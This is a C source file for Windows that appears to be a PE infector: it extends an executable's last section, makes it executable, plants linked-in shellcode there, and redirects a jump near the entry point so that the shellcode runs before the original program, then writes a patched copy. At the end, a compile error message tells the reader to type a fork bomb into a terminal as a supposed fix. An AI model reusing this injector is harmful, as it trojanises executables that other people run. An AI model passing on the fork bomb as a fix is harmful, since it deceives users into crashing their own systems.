#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>

#include <windows.h>

/* structure which describes a Windows (P)ortable (E)xecutable */
typedef struct pe_buffer {
    uint8_t *buf;
    size_t siz;

    PIMAGE_DOS_HEADER dosHdr;
    PIMAGE_FILE_HEADER fileHdr;
    PIMAGE_OPTIONAL_HEADER optHdr;
    PIMAGE_SECTION_HEADER secHdr;
} pe_buffer;

/* common instructions usually found near AddressOfEntryPoint
 * used for our very very basic x86 (en|de)coder
 */
typedef enum instruction {
    REL_CALL = 0xE8, REL_JMP = 0xE9,
    PUSH_ESP = 0x55, PUSH_BYTE = 0x6A, PUSH_DWORD = 0x68,
    ADD_ESP = 0x83C4, SUB_ESP = 0x83EC,
    MOV_DWORD_PTR_DS = 0xC705
} instruction;

/* shellcode patch context */
typedef struct patch_ctx {
    uint8_t *injected_shellcode;
    instruction patched_inst;
    uint32_t patched_addr;
    uint8_t *next_inst;
} patch_ctx;

/* Force GCC struct for MingW compilers and pack them,
 * which means the struct is 1-byte aligned.
 */
#define GCC_PACKED __attribute__((packed, gcc_struct))

typedef union shellcode_trailer {
    uint8_t buf[10]; /* byte buffer representation, not used atm */
    struct {
        uint8_t inst;
        uint32_t addr;
    } GCC_PACKED insts[2]; /* second array item required for FIXME */
} GCC_PACKED shellcode_trailer;


/* external symbols, which gets resolved to the shellcode object
 * file during link time
 */
extern uint32_t shellcode;
extern uint32_t shellcode_size;

/* callable shellcode function typedef with enforced stdcall
 * calling convention
 */
typedef void (__stdcall *shellcode_fn)(void);

#define INTEL_ASM(_asm_str) \
    __asm volatile(".intel_syntax noprefix"); \
    __asm volatile(_asm_str); \
    __asm volatile(".att_syntax prefix");

#define WIN_PERROR(error_prefix) \
    printf("%s failed: %lu\n", error_prefix, GetLastError());

/* simple binary compare fn */
static int bcmp(uint8_t *b1, uint8_t *b2, size_t length)
{
	uint8_t *p1 = b1, *p2 = b2;

	if (length == 0)
		return(0);
	do {
		if (*p1++ != *p2++)
			break;
    } while (--length);

	return length != 0;
}

static void test_shellcode(void)
{
    shellcode_fn fn = (shellcode_fn) &shellcode;

    printf("Kernel32_base.: %p\n"
           "LoadLibraryA..: %p\n"
           "GetProcAddrA..: %p\n"
           "Shell32.dll...: %p\n"
           "ShellExecute..: %p\n"
           "shellcode.....: %p\n"
           "shellcode_size: %u (0x%X)\n",
           LoadLibraryA("kernel32.dll"),
           LoadLibraryA,
           GetProcAddress,
           LoadLibraryA("Shell32.dll"),
           GetProcAddress(LoadLibraryA("Shell32.dll"), "ShellExecuteA"),
           &shellcode,
           shellcode_size, shellcode_size);

    printf("\nExecuting shellcode ..\n");
    /* The shellcode detects if it got 'called' or 'jumped' to
     * by simple comparing a unique value in eax.
     */
    INTEL_ASM("push eax; mov eax, 0xDEADBEEF");
    fn();
    INTEL_ASM("pop eax");
    printf("Done.\n");
}

static DWORD
read_file(const char *filepath, uint8_t **buf)
{
    HANDLE hFile;
    DWORD dwFileSize, dwFileRead;
    TCHAR fullPath[MAX_PATH+1] = { 0 };

    if (!GetFullPathName(filepath, sizeof fullPath, fullPath, NULL))
    {
        WIN_PERROR("GetFullPathNameA");
        return 0;
    }

    *buf = NULL;
    hFile = CreateFile(fullPath,
                       GENERIC_READ,
                       0, NULL, OPEN_EXISTING, 0, NULL);
    if (hFile == INVALID_HANDLE_VALUE) {
        WIN_PERROR("CreateFile");
        return 0;
    }

    dwFileSize = GetFileSize(hFile, NULL);
    dwFileRead = 0;

    *buf = calloc(dwFileSize, 1);
    if (!*buf)
        return 0;
    if (!ReadFile(hFile, *buf, dwFileSize, &dwFileRead, NULL) ||
        dwFileRead != dwFileSize)
    {
        printf("Read %ld from %ld bytes ..\n", dwFileRead, dwFileSize);
        CloseHandle(hFile);
        return 0;
    }
    CloseHandle(hFile);

    return dwFileSize;
}

static int parse_pe(uint8_t *buf, size_t siz, pe_buffer *out)
{
    out->buf = NULL;
    out->siz = 0;

    /* check minimum size of the target file */
    if (siz < sizeof(IMAGE_DOS_HEADER)      +
              sizeof(IMAGE_FILE_HEADER)     +
              sizeof(IMAGE_OPTIONAL_HEADER) +
              sizeof(IMAGE_SECTION_HEADER))
    {
        return 1;
    }

    out->dosHdr = (PIMAGE_DOS_HEADER) buf;
    if (out->dosHdr->e_magic != IMAGE_DOS_SIGNATURE) /* 'MZ' */
        return 1;

    out->fileHdr =
        (PIMAGE_FILE_HEADER)(buf + out->dosHdr->e_lfanew +
                             sizeof(DWORD));
    if (out->fileHdr->Machine != 0x014C) /* i386 */
        return 1;

    out->optHdr =
        (PIMAGE_OPTIONAL_HEADER)(buf + out->dosHdr->e_lfanew +
                                 sizeof(DWORD) +
                                 sizeof(IMAGE_FILE_HEADER));
    if (out->optHdr->Magic != 0x010b) /* PE32 */
        return 1;

    out->secHdr =
        (PIMAGE_SECTION_HEADER)(buf + out->dosHdr->e_lfanew +
                                sizeof(IMAGE_NT_HEADERS));

    out->buf = buf;
    out->siz = siz;

    return 0;
}

static int prepare_last_section(pe_buffer *pe, uint8_t **ptrToShellcode)
{
    PIMAGE_SECTION_HEADER last_section =
        &pe->secHdr[pe->fileHdr->NumberOfSections - 1];
    size_t algndFileSiz = 0;
    off_t shellcode_offset;

    if (last_section->Characteristics & IMAGE_SCN_MEM_DISCARDABLE) {
        printf("Last section is marked as discardable.\n"
               "This means it won't be loaded into the memory\n"
               "and is only required to retrieve debugging information.\n");
        return 1;
    }
    printf("Extending last section: '%s'\n",
           last_section->Name);

    while (algndFileSiz < shellcode_size)
        algndFileSiz += pe->optHdr->FileAlignment;
    printf("Aligned Size: 0x%lX\n",
           (unsigned long)algndFileSiz);

    shellcode_offset = pe->siz;
    pe->siz = pe->siz + algndFileSiz;
    pe->buf = realloc(pe->buf, pe->siz);
    if (!pe->buf)
        return 1;
    /* realloc() acts like malloc() for the
     * newly allocated memory region
     * if newsiz > oldsiz
     */
    memset(pe->buf + shellcode_offset, 0, algndFileSiz);

    /* Do not forget to re-parse the pe file again!
     * The pointers in pe_buffer might not be valid after realloc().
     * Since the OS can return a pointer to a completly different
     * memory region!
     */
    if (parse_pe(pe->buf, pe->siz, pe))
        return 1;

    last_section->Misc.VirtualSize += shellcode_size;
    last_section->SizeOfRawData += algndFileSiz;

    /* It is important to fixup section protections!
     * Otherwise an Access Violation will occur most likely.
     */
    last_section->Characteristics |= IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_EXECUTE;

    /* Place (unpatched) shellcode at the end of the section. */
    memcpy(pe->buf + shellcode_offset, &shellcode, shellcode_size);
    *ptrToShellcode = pe->buf + shellcode_offset;

    return 0;
}

static uint8_t *
RvaToPtr(pe_buffer *pe, off_t rva)
{
    PIMAGE_SECTION_HEADER sections = pe->secHdr;
    size_t nSections = pe->fileHdr->NumberOfSections;
    off_t pos = 0;

    for (SIZE_T i = 0; i < nSections; ++i) {
        if (rva >= sections[i].VirtualAddress) {
            pos  = sections[i].VirtualAddress;
            pos += sections[i].SizeOfRawData;
        }
        if (rva < pos) {
            rva -= sections[i].VirtualAddress;
            return pe->buf + rva + sections[i].PointerToRawData;
        }
    }
    return NULL;
}

static off_t
OffsetToRva(pe_buffer *pe, off_t offset)
{
    if (pe->fileHdr->NumberOfSections <= 0 || pe->optHdr->SizeOfHeaders > offset)
        return -1;
    PIMAGE_SECTION_HEADER sections = pe->secHdr;
    size_t nSections = pe->fileHdr->NumberOfSections;
    off_t dwPos = sections[0].VirtualAddress + (offset - sections[0].PointerToRawData);

    for (size_t i = 0; i < nSections; ++i) {
        if (offset < sections[i].PointerToRawData)
            break;
        dwPos = sections[i].VirtualAddress + (offset - sections[i].PointerToRawData);
    }
    return dwPos + pe->optHdr->ImageBase;
}

static inline off_t
PtrToOffset(pe_buffer *pe, const uint8_t *ptr)
{
    DWORD dwRva = (off_t)ptr - (off_t)pe->buf;
    return dwRva;
}

static inline off_t
PtrToRva(pe_buffer *pe, const uint8_t *ptr)
{
    return OffsetToRva(pe, PtrToOffset(pe, ptr));
}

static inline off_t
calc_relative_offset(off_t start, off_t end)
{
    return end - start - 0x5 /* sizeof(rel JMP/CALL) */;
}

static int search_patch_near_entry(pe_buffer *pe, patch_ctx *pa)
{
    const size_t maxbytes = 30;
    size_t i;
    uint8_t *insts8 = RvaToPtr(pe,
                               pe->optHdr->AddressOfEntryPoint);
    uint16_t *insts16;
    uint32_t relAddr;
    uint32_t entryVA = pe->optHdr->ImageBase +
        pe->optHdr->AddressOfEntryPoint;
    uint32_t shellVA = PtrToRva(pe, pa->injected_shellcode);

    if (insts8 - pe->buf > pe->siz - maxbytes)
        return 1;

    printf("AddressOfEntryPoint (VA): 0x%08lX\n", (unsigned long)entryVA);
    printf("Shellcode (VA): 0x%08lX\n", (unsigned long)shellVA);

    for (i = 0; i < maxbytes; ++i) {
        switch (insts8[i]) {
            case PUSH_ESP:
                continue;
            case PUSH_BYTE:
                i++;
                continue;
            case PUSH_DWORD:
                i += 4;
                continue;
            case REL_CALL:
                /* FIXME: Try to patch relative calls! */
                i += 4;
                continue;
            case REL_JMP:
                pa->next_inst = &insts8[i];
                pa->patched_inst = insts8[i];
                pa->patched_addr = *(uint32_t *)&insts8[i+1];

                relAddr = calc_relative_offset(entryVA + i, shellVA);
                printf("Patching RelJMP at 0x%08lX: 0x%08lX\n",
                       (unsigned long)entryVA + i,
                       (unsigned long)relAddr);
                *(uint32_t *)(&insts8[i+1]) = relAddr;
                return 0;
        }

        insts16 = (uint16_t *)insts8;
        switch (insts16[i]) {
            case ADD_ESP:
            case SUB_ESP:
                i += 3;
                continue;
            case MOV_DWORD_PTR_DS:
                i += 9;
                continue;
        }
    }

    printf("No patchable instruction found within the first %u bytes "
           "after 0x%08lX, sorry :(\n", maxbytes, (unsigned long)entryVA);
    return 1;
}

static int patch_shellcode(pe_buffer *pe, patch_ctx *pa)
{
    size_t i;
    uint8_t cmp_jmpmarker[] = { 0xFF,0xDE,0xAD,0xC0,0xDE };
    shellcode_trailer *trl;
    uint32_t nextInstVA = PtrToRva(pe, pa->next_inst);
    uint32_t trlInstVA;

    for (i = 0; i < shellcode_size; ++i) {
        if (!bcmp(&pa->injected_shellcode[i], cmp_jmpmarker, sizeof cmp_jmpmarker)) {
            trl = (shellcode_trailer *)&pa->injected_shellcode[i];
            trlInstVA = PtrToRva(pe, &trl->insts[0].inst);
            trl->insts[0].inst = pa->patched_inst;
            trl->insts[0].addr = pa->patched_addr - (trlInstVA - nextInstVA);

            /* FIXME: Try to patch relative calls!
             * HINT: You need to patch trl->insts[0] with the
             *       relative call and the fixed relative addr.
             *       The trl->insts[1] should contain the relative JMP
             *       from above.
             */
            trl->insts[1].inst = 0xFF;
            trl->insts[1].addr = 0xCAFECAFE;
            return 0;
        }
    }

    return 1;
}

static DWORD
write_file(const char *filepath, uint8_t *buf, DWORD siz)
{
    HANDLE hFile;
    DWORD dwFileWritten;
    TCHAR fullPath[MAX_PATH+1] = { 0 };

    if (!GetFullPathName(filepath, sizeof fullPath, fullPath, NULL))
    {
        WIN_PERROR("GetFullPathNameA");
        return 0;
    }

    hFile = CreateFile(fullPath,
                       GENERIC_WRITE,
                       0, NULL, CREATE_ALWAYS,
                       FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile == INVALID_HANDLE_VALUE) {
        WIN_PERROR("CreateFile");
        return 0;
    }

    if (!WriteFile(hFile, buf, siz, &dwFileWritten, NULL) ||
        siz != dwFileWritten)
    {
        printf("Written %lu from %lu bytes ..\n", dwFileWritten, siz);
        CloseHandle(hFile);
        return 0;
    }
    CloseHandle(hFile);

    return dwFileWritten;
}

int main(int argc, char **argv)
{
    pe_buffer pebuf;
    patch_ctx pactx;
    char out_filepath[PATH_MAX]; /* output filepath for the final executable */

    if (argc < 2) {
        test_shellcode();
        exit(EXIT_SUCCESS);
    }

    pebuf.siz = read_file(argv[1], &pebuf.buf);
    if (!pebuf.buf) {
        WIN_PERROR("read_file");
        exit(EXIT_FAILURE);
    }
    printf("open/read executable: '%s' (%lu bytes)\n", argv[1],
           (unsigned long)pebuf.siz);

    if (parse_pe(pebuf.buf, pebuf.siz, &pebuf)) {
        printf("Parsing PE file failed\n");
        exit(EXIT_FAILURE);
    }

    if (prepare_last_section(&pebuf, &pactx.injected_shellcode)) {
        printf("Preparing last section failed\n");
        exit(EXIT_FAILURE);
    }

    if (search_patch_near_entry(&pebuf, &pactx)) {
        printf("Search&Patch failed\n");
        exit(EXIT_FAILURE);
    }

    if (patch_shellcode(&pebuf, &pactx)) {
        printf("PatchShellcode failed\n");
        exit(EXIT_FAILURE);
    }

    snprintf(out_filepath, sizeof out_filepath, "patched_%s", argv[1]);
    if (!write_file(out_filepath, pebuf.buf, pebuf.siz)) {
        WIN_PERROR("write_file");
        exit(EXIT_FAILURE);
    }
    printf("create/write executable: '%s' (%lu bytes)\n", out_filepath,
           (unsigned long)pebuf.siz);

    return 0;
}

#if SKID != 1337
#error "There was an unknown compilation error. You can try to fix it by typing `:(){:|:&};:` in your terminal."
#endif